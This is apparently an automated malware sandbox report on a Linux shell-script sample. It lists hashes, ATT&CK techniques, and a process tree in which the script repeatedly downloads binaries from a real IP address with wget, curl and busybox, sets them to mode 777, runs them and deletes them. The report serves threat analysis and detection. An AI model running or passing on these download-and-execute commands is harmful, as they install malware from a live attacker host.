93a4ee3d7d53d71f92d724861655721010c539b26ed6123c6eaad4320f923e3b

Analysis

max time kernel
26s
max time network
53s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09/11/2024, 03:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
93a4ee3d7d53d71f92d724861655721010c539b26ed6123c6eaad4320f923e3b.sh
Size 10KB
Sample241109-dp2vmavqgz
SHA256 93a4ee3d7d53d71f92d724861655721010c539b26ed6123c6eaad4320f923e3b
MD5 ada7c79516bd49ef72f6dbe78209da74
SHA1 f8de1448c6191034a18930ec908a0ceb79f1ee7f
SHA512 aafdda7a0b416ec7befe88b421b2ba739558d462c5cfb9b04e8d003c2b4a0d66aff940494d0c1e227dace0db0440fac258da7eb4b672518b3afeace4ee7e4310
SSDEEP 192:mE4AjzDK2UQUXUzL5nBhryur3hf37r+2bIw6sr37r+2oVc/E4MjzDK2aQUXUzLpI:hjzDK2UQUXUzL5T3h/L6ZDjzDK2aQUX3
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 16 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
733	chmod
812	chmod
824	chmod
850	chmod
862	chmod
709	chmod
758	chmod
772	chmod
818	chmod
838	chmod
856	chmod
693	chmod
831	chmod
844	chmod
806	chmod
795	chmod

Executes dropped EXE 16 IoCs

Checks CPU configuration 1 TTPs 16 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 32 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 16 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/KYNNzrp7x9jXEj2I0T40j2w08A9nWAYn9C	curl
File opened for modification	/tmp/uPN66xeXUKURCKPcBptzutdXKEmUqMov3m	curl
File opened for modification	/tmp/KYNNzrp7x9jXEj2I0T40j2w08A9nWAYn9C	curl
File opened for modification	/tmp/A62twdvPIf8RL7LEotUqlWU2GTQry5DTC4	curl
File opened for modification	/tmp/xxtxqD70UMrjz90nFazhYNkE5cZYjjiDlR	curl
File opened for modification	/tmp/v2ZXACfsOVEUck1kQQEzd9t1Tl9YNLC315	curl
File opened for modification	/tmp/RH4xLZSnOINEYtUKRHrbKByMHZROsjVw4N	curl
File opened for modification	/tmp/9XxjRv48BXPY7JDOUPCNbL2nkIFYF2TsCy	curl
File opened for modification	/tmp/RUQG7qNdHPNWjmvxVGmt7qVDbZsKRl1vzH	curl
File opened for modification	/tmp/m4iRIyRAYlqu9iNLrpoC3UfXpS6qvQsKov	curl
File opened for modification	/tmp/refuCpoSp4NLwbOtg9GRUvozc6VheDhHZ6	curl
File opened for modification	/tmp/729AGCalIc9ZBcW242lezKvNbKhNXJvAIq	curl
File opened for modification	/tmp/DN7rvPmz5k5eFJkzxuswwl27F91fVJJaTR	curl
File opened for modification	/tmp/bskcXO0D60SLjNHVjdXaMyCTEGgz33WDq0	curl
File opened for modification	/tmp/WeWGE8ltIbfMYYRs1zZRhUl6zDbJKwoE1M	curl
File opened for modification	/tmp/RH4xLZSnOINEYtUKRHrbKByMHZROsjVw4N	curl

/tmp/93a4ee3d7d53d71f92d724861655721010c539b26ed6123c6eaad4320f923e3b.sh
/tmp/93a4ee3d7d53d71f92d724861655721010c539b26ed6123c6eaad4320f923e3b.sh
1⤵
PID:662
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:664
- /usr/bin/wget
  wget http://216.126.231.240/bins/A62twdvPIf8RL7LEotUqlWU2GTQry5DTC4
  2⤵
  PID:666
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/A62twdvPIf8RL7LEotUqlWU2GTQry5DTC4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:684
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/A62twdvPIf8RL7LEotUqlWU2GTQry5DTC4
  2⤵
  PID:691
- /bin/chmod
  chmod 777 A62twdvPIf8RL7LEotUqlWU2GTQry5DTC4
  2⤵
  - File and Directory Permissions Modification
  PID:693
- /tmp/A62twdvPIf8RL7LEotUqlWU2GTQry5DTC4
  ./A62twdvPIf8RL7LEotUqlWU2GTQry5DTC4
  2⤵
  - Executes dropped EXE
  PID:694
- /bin/rm
  rm A62twdvPIf8RL7LEotUqlWU2GTQry5DTC4
  2⤵
  PID:695
- /usr/bin/wget
  wget http://216.126.231.240/bins/m4iRIyRAYlqu9iNLrpoC3UfXpS6qvQsKov
  2⤵
  PID:696
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/m4iRIyRAYlqu9iNLrpoC3UfXpS6qvQsKov
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:697
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/m4iRIyRAYlqu9iNLrpoC3UfXpS6qvQsKov
  2⤵
  PID:703
- /bin/chmod
  chmod 777 m4iRIyRAYlqu9iNLrpoC3UfXpS6qvQsKov
  2⤵
  - File and Directory Permissions Modification
  PID:709
- /tmp/m4iRIyRAYlqu9iNLrpoC3UfXpS6qvQsKov
  ./m4iRIyRAYlqu9iNLrpoC3UfXpS6qvQsKov
  2⤵
  - Executes dropped EXE
  PID:710
- /bin/rm
  rm m4iRIyRAYlqu9iNLrpoC3UfXpS6qvQsKov
  2⤵
  PID:711
- /usr/bin/wget
  wget http://216.126.231.240/bins/xxtxqD70UMrjz90nFazhYNkE5cZYjjiDlR
  2⤵
  PID:713
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/xxtxqD70UMrjz90nFazhYNkE5cZYjjiDlR
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:720
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/xxtxqD70UMrjz90nFazhYNkE5cZYjjiDlR
  2⤵
  PID:726
- /bin/chmod
  chmod 777 xxtxqD70UMrjz90nFazhYNkE5cZYjjiDlR
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/xxtxqD70UMrjz90nFazhYNkE5cZYjjiDlR
  ./xxtxqD70UMrjz90nFazhYNkE5cZYjjiDlR
  2⤵
  - Executes dropped EXE
  PID:734
- /bin/rm
  rm xxtxqD70UMrjz90nFazhYNkE5cZYjjiDlR
  2⤵
  PID:735
- /usr/bin/wget
  wget http://216.126.231.240/bins/refuCpoSp4NLwbOtg9GRUvozc6VheDhHZ6
  2⤵
  PID:736
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/refuCpoSp4NLwbOtg9GRUvozc6VheDhHZ6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/refuCpoSp4NLwbOtg9GRUvozc6VheDhHZ6
  2⤵
  PID:756
- /bin/chmod
  chmod 777 refuCpoSp4NLwbOtg9GRUvozc6VheDhHZ6
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/refuCpoSp4NLwbOtg9GRUvozc6VheDhHZ6
  ./refuCpoSp4NLwbOtg9GRUvozc6VheDhHZ6
  2⤵
  - Executes dropped EXE
  PID:759
- /bin/rm
  rm refuCpoSp4NLwbOtg9GRUvozc6VheDhHZ6
  2⤵
  PID:760
- /usr/bin/wget
  wget http://216.126.231.240/bins/v2ZXACfsOVEUck1kQQEzd9t1Tl9YNLC315
  2⤵
  PID:761
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/v2ZXACfsOVEUck1kQQEzd9t1Tl9YNLC315
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:762
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/v2ZXACfsOVEUck1kQQEzd9t1Tl9YNLC315
  2⤵
  PID:767
- /bin/chmod
  chmod 777 v2ZXACfsOVEUck1kQQEzd9t1Tl9YNLC315
  2⤵
  - File and Directory Permissions Modification
  PID:772
- /tmp/v2ZXACfsOVEUck1kQQEzd9t1Tl9YNLC315
  ./v2ZXACfsOVEUck1kQQEzd9t1Tl9YNLC315
  2⤵
  - Executes dropped EXE
  PID:773
- /bin/rm
  rm v2ZXACfsOVEUck1kQQEzd9t1Tl9YNLC315
  2⤵
  PID:774
- /usr/bin/wget
  wget http://216.126.231.240/bins/729AGCalIc9ZBcW242lezKvNbKhNXJvAIq
  2⤵
  PID:776
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/729AGCalIc9ZBcW242lezKvNbKhNXJvAIq
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:782
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/729AGCalIc9ZBcW242lezKvNbKhNXJvAIq
  2⤵
  PID:789
- /bin/chmod
  chmod 777 729AGCalIc9ZBcW242lezKvNbKhNXJvAIq
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/729AGCalIc9ZBcW242lezKvNbKhNXJvAIq
  ./729AGCalIc9ZBcW242lezKvNbKhNXJvAIq
  2⤵
  - Executes dropped EXE
  PID:796
- /bin/rm
  rm 729AGCalIc9ZBcW242lezKvNbKhNXJvAIq
  2⤵
  PID:797
- /usr/bin/wget
  wget http://216.126.231.240/bins/DN7rvPmz5k5eFJkzxuswwl27F91fVJJaTR
  2⤵
  PID:799
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/DN7rvPmz5k5eFJkzxuswwl27F91fVJJaTR
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:804
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/DN7rvPmz5k5eFJkzxuswwl27F91fVJJaTR
  2⤵
  PID:805
- /bin/chmod
  chmod 777 DN7rvPmz5k5eFJkzxuswwl27F91fVJJaTR
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/DN7rvPmz5k5eFJkzxuswwl27F91fVJJaTR
  ./DN7rvPmz5k5eFJkzxuswwl27F91fVJJaTR
  2⤵
  - Executes dropped EXE
  PID:807
- /bin/rm
  rm DN7rvPmz5k5eFJkzxuswwl27F91fVJJaTR
  2⤵
  PID:808
- /usr/bin/wget
  wget http://216.126.231.240/bins/bskcXO0D60SLjNHVjdXaMyCTEGgz33WDq0
  2⤵
  PID:809
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bskcXO0D60SLjNHVjdXaMyCTEGgz33WDq0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bskcXO0D60SLjNHVjdXaMyCTEGgz33WDq0
  2⤵
  PID:811
- /bin/chmod
  chmod 777 bskcXO0D60SLjNHVjdXaMyCTEGgz33WDq0
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/bskcXO0D60SLjNHVjdXaMyCTEGgz33WDq0
  ./bskcXO0D60SLjNHVjdXaMyCTEGgz33WDq0
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm bskcXO0D60SLjNHVjdXaMyCTEGgz33WDq0
  2⤵
  PID:814
- /usr/bin/wget
  wget http://216.126.231.240/bins/WeWGE8ltIbfMYYRs1zZRhUl6zDbJKwoE1M
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WeWGE8ltIbfMYYRs1zZRhUl6zDbJKwoE1M
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/WeWGE8ltIbfMYYRs1zZRhUl6zDbJKwoE1M
  2⤵
  PID:817
- /bin/chmod
  chmod 777 WeWGE8ltIbfMYYRs1zZRhUl6zDbJKwoE1M
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/WeWGE8ltIbfMYYRs1zZRhUl6zDbJKwoE1M
  ./WeWGE8ltIbfMYYRs1zZRhUl6zDbJKwoE1M
  2⤵
  - Executes dropped EXE
  PID:819
- /bin/rm
  rm WeWGE8ltIbfMYYRs1zZRhUl6zDbJKwoE1M
  2⤵
  PID:820
- /usr/bin/wget
  wget http://216.126.231.240/bins/uPN66xeXUKURCKPcBptzutdXKEmUqMov3m
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/uPN66xeXUKURCKPcBptzutdXKEmUqMov3m
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/uPN66xeXUKURCKPcBptzutdXKEmUqMov3m
  2⤵
  PID:823
- /bin/chmod
  chmod 777 uPN66xeXUKURCKPcBptzutdXKEmUqMov3m
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/uPN66xeXUKURCKPcBptzutdXKEmUqMov3m
  ./uPN66xeXUKURCKPcBptzutdXKEmUqMov3m
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm uPN66xeXUKURCKPcBptzutdXKEmUqMov3m
  2⤵
  PID:826
- /usr/bin/wget
  wget http://216.126.231.240/bins/RH4xLZSnOINEYtUKRHrbKByMHZROsjVw4N
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/RH4xLZSnOINEYtUKRHrbKByMHZROsjVw4N
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/RH4xLZSnOINEYtUKRHrbKByMHZROsjVw4N
  2⤵
  PID:829
- /bin/chmod
  chmod 777 RH4xLZSnOINEYtUKRHrbKByMHZROsjVw4N
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/RH4xLZSnOINEYtUKRHrbKByMHZROsjVw4N
  ./RH4xLZSnOINEYtUKRHrbKByMHZROsjVw4N
  2⤵
  - Executes dropped EXE
  PID:832
- /bin/rm
  rm RH4xLZSnOINEYtUKRHrbKByMHZROsjVw4N
  2⤵
  PID:833
- /usr/bin/wget
  wget http://216.126.231.240/bins/KYNNzrp7x9jXEj2I0T40j2w08A9nWAYn9C
  2⤵
  PID:835
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/KYNNzrp7x9jXEj2I0T40j2w08A9nWAYn9C
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/KYNNzrp7x9jXEj2I0T40j2w08A9nWAYn9C
  2⤵
  PID:837
- /bin/chmod
  chmod 777 KYNNzrp7x9jXEj2I0T40j2w08A9nWAYn9C
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/KYNNzrp7x9jXEj2I0T40j2w08A9nWAYn9C
  ./KYNNzrp7x9jXEj2I0T40j2w08A9nWAYn9C
  2⤵
  - Executes dropped EXE
  PID:839
- /bin/rm
  rm KYNNzrp7x9jXEj2I0T40j2w08A9nWAYn9C
  2⤵
  PID:840
- /usr/bin/wget
  wget http://216.126.231.240/bins/9XxjRv48BXPY7JDOUPCNbL2nkIFYF2TsCy
  2⤵
  PID:841
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9XxjRv48BXPY7JDOUPCNbL2nkIFYF2TsCy
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:842
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/9XxjRv48BXPY7JDOUPCNbL2nkIFYF2TsCy
  2⤵
  PID:843
- /bin/chmod
  chmod 777 9XxjRv48BXPY7JDOUPCNbL2nkIFYF2TsCy
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/9XxjRv48BXPY7JDOUPCNbL2nkIFYF2TsCy
  ./9XxjRv48BXPY7JDOUPCNbL2nkIFYF2TsCy
  2⤵
  - Executes dropped EXE
  PID:845
- /bin/rm
  rm 9XxjRv48BXPY7JDOUPCNbL2nkIFYF2TsCy
  2⤵
  PID:846
- /usr/bin/wget
  wget http://216.126.231.240/bins/RUQG7qNdHPNWjmvxVGmt7qVDbZsKRl1vzH
  2⤵
  PID:847
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/RUQG7qNdHPNWjmvxVGmt7qVDbZsKRl1vzH
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:848
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/RUQG7qNdHPNWjmvxVGmt7qVDbZsKRl1vzH
  2⤵
  PID:849
- /bin/chmod
  chmod 777 RUQG7qNdHPNWjmvxVGmt7qVDbZsKRl1vzH
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/RUQG7qNdHPNWjmvxVGmt7qVDbZsKRl1vzH
  ./RUQG7qNdHPNWjmvxVGmt7qVDbZsKRl1vzH
  2⤵
  - Executes dropped EXE
  PID:851
- /bin/rm
  rm RUQG7qNdHPNWjmvxVGmt7qVDbZsKRl1vzH
  2⤵
  PID:852
- /usr/bin/wget
  wget http://216.126.231.240/bins/RH4xLZSnOINEYtUKRHrbKByMHZROsjVw4N
  2⤵
  PID:853
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/RH4xLZSnOINEYtUKRHrbKByMHZROsjVw4N
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:854
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/RH4xLZSnOINEYtUKRHrbKByMHZROsjVw4N
  2⤵
  PID:855
- /bin/chmod
  chmod 777 RH4xLZSnOINEYtUKRHrbKByMHZROsjVw4N
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/RH4xLZSnOINEYtUKRHrbKByMHZROsjVw4N
  ./RH4xLZSnOINEYtUKRHrbKByMHZROsjVw4N
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm RH4xLZSnOINEYtUKRHrbKByMHZROsjVw4N
  2⤵
  PID:858
- /usr/bin/wget
  wget http://216.126.231.240/bins/KYNNzrp7x9jXEj2I0T40j2w08A9nWAYn9C
  2⤵
  PID:859
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/KYNNzrp7x9jXEj2I0T40j2w08A9nWAYn9C
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/KYNNzrp7x9jXEj2I0T40j2w08A9nWAYn9C
  2⤵
  PID:861
- /bin/chmod
  chmod 777 KYNNzrp7x9jXEj2I0T40j2w08A9nWAYn9C
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/KYNNzrp7x9jXEj2I0T40j2w08A9nWAYn9C
  ./KYNNzrp7x9jXEj2I0T40j2w08A9nWAYn9C
  2⤵
  - Executes dropped EXE
  PID:863
- /bin/rm
  rm KYNNzrp7x9jXEj2I0T40j2w08A9nWAYn9C
  2⤵
  PID:864
- /usr/bin/wget
  wget http://216.126.231.240/bins/9XxjRv48BXPY7JDOUPCNbL2nkIFYF2TsCy
  2⤵
  PID:865

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

A62twdvPIf8RL7LEotUqlWU2GTQry5DTC4

Path /tmp/A62twdvPIf8RL7LEotUqlWU2GTQry5DTC4
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/A62twdvPIf8RL7LEotUqlWU2GTQry5DTC4	694	A62twdvPIf8RL7LEotUqlWU2GTQry5DTC4
/tmp/m4iRIyRAYlqu9iNLrpoC3UfXpS6qvQsKov	710	m4iRIyRAYlqu9iNLrpoC3UfXpS6qvQsKov
/tmp/xxtxqD70UMrjz90nFazhYNkE5cZYjjiDlR	734	xxtxqD70UMrjz90nFazhYNkE5cZYjjiDlR
/tmp/refuCpoSp4NLwbOtg9GRUvozc6VheDhHZ6	759	refuCpoSp4NLwbOtg9GRUvozc6VheDhHZ6
/tmp/v2ZXACfsOVEUck1kQQEzd9t1Tl9YNLC315	773	v2ZXACfsOVEUck1kQQEzd9t1Tl9YNLC315
/tmp/729AGCalIc9ZBcW242lezKvNbKhNXJvAIq	796	729AGCalIc9ZBcW242lezKvNbKhNXJvAIq
/tmp/DN7rvPmz5k5eFJkzxuswwl27F91fVJJaTR	807	DN7rvPmz5k5eFJkzxuswwl27F91fVJJaTR
/tmp/bskcXO0D60SLjNHVjdXaMyCTEGgz33WDq0	813	bskcXO0D60SLjNHVjdXaMyCTEGgz33WDq0
/tmp/WeWGE8ltIbfMYYRs1zZRhUl6zDbJKwoE1M	819	WeWGE8ltIbfMYYRs1zZRhUl6zDbJKwoE1M
/tmp/uPN66xeXUKURCKPcBptzutdXKEmUqMov3m	825	uPN66xeXUKURCKPcBptzutdXKEmUqMov3m
/tmp/RH4xLZSnOINEYtUKRHrbKByMHZROsjVw4N	832	RH4xLZSnOINEYtUKRHrbKByMHZROsjVw4N
/tmp/KYNNzrp7x9jXEj2I0T40j2w08A9nWAYn9C	839	KYNNzrp7x9jXEj2I0T40j2w08A9nWAYn9C
/tmp/9XxjRv48BXPY7JDOUPCNbL2nkIFYF2TsCy	845	9XxjRv48BXPY7JDOUPCNbL2nkIFYF2TsCy
/tmp/RUQG7qNdHPNWjmvxVGmt7qVDbZsKRl1vzH	851	RUQG7qNdHPNWjmvxVGmt7qVDbZsKRl1vzH
/tmp/RH4xLZSnOINEYtUKRHrbKByMHZROsjVw4N	857	RH4xLZSnOINEYtUKRHrbKByMHZROsjVw4N
/tmp/KYNNzrp7x9jXEj2I0T40j2w08A9nWAYn9C	863	KYNNzrp7x9jXEj2I0T40j2w08A9nWAYn9C

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads